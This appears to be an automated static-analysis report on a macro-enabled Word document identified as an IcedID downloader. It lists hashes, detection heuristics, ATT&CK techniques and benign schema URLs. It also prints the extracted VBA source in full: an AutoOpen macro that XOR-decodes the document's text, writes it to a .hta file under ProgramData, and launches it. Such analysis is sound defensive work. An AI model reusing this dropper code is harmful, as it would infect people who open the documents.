IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 7d5aac6e36c227e0…

MALICIOUS

Office (OOXML)

46.9 KB Created: 2021-06-17 10:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 63aeb97653956344231304452ab810b6 SHA-1: bdaf58f7cf4646ee7a88a063c2d6cbc5c07b36a4 SHA-256: 7d5aac6e36c227e08a36788014f478ac674ebd6872a91f4feddb2c8e2e8384f1
222 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Office document containing VBA macros, specifically an AutoOpen macro that utilizes the Shell() function. The VBA code reconstructs a path to 'c:\programdata\trustscr.h' and appears to execute it, indicating a downloader functionality. ClamAV detection further supports the classification as IcedID, a known banking trojan often distributed via macro-enabled documents.

Heuristics 6

  • ClamAV: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1207 bytes
SHA-256: ca80a666e43d6f5f3dc229487ceca740fcd0329d113fcf06c0e1c6a3e994156b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "viewBtn"
Function zeroLibrary(snglRefBytes)
Debug.Print Shell(Trim("" + reqNameBtn(snglRefBytes & "orer ")))
End Function
Function reqNameBtn(snglRefBytes, Optional indRequest = "c:\progra", Optional zeroDeleteGlobal = "ta")
reqNameBtn = snglRefBytes & indRequest & "mdata\trustScr.h" & zeroDeleteGlobal
End Function
Function lenLng(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 100)
Next
lenLng = out
End Function

Attribute VB_Name = "databaseMain"
Sub autoopen()
lstGlob
optionRepo = zeroLibrary("expl")
End Sub

Attribute VB_Name = "buttonDatSingle"
Sub lstGlob()
Open reqNameBtn("") For Output As #1
Print #1, memorySel
Close #1
End Sub
Function memorySel()
memorySel = lenLng(functionDatabaseO)
End Function
Function functionDatabaseO()
functionDatabaseO = Split(ActiveDocument.Range.Text, "x")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: f6fd832f2ed65a3408cdbe675ba284ec20de38537f6b1e1567fea4bcb4ff9d61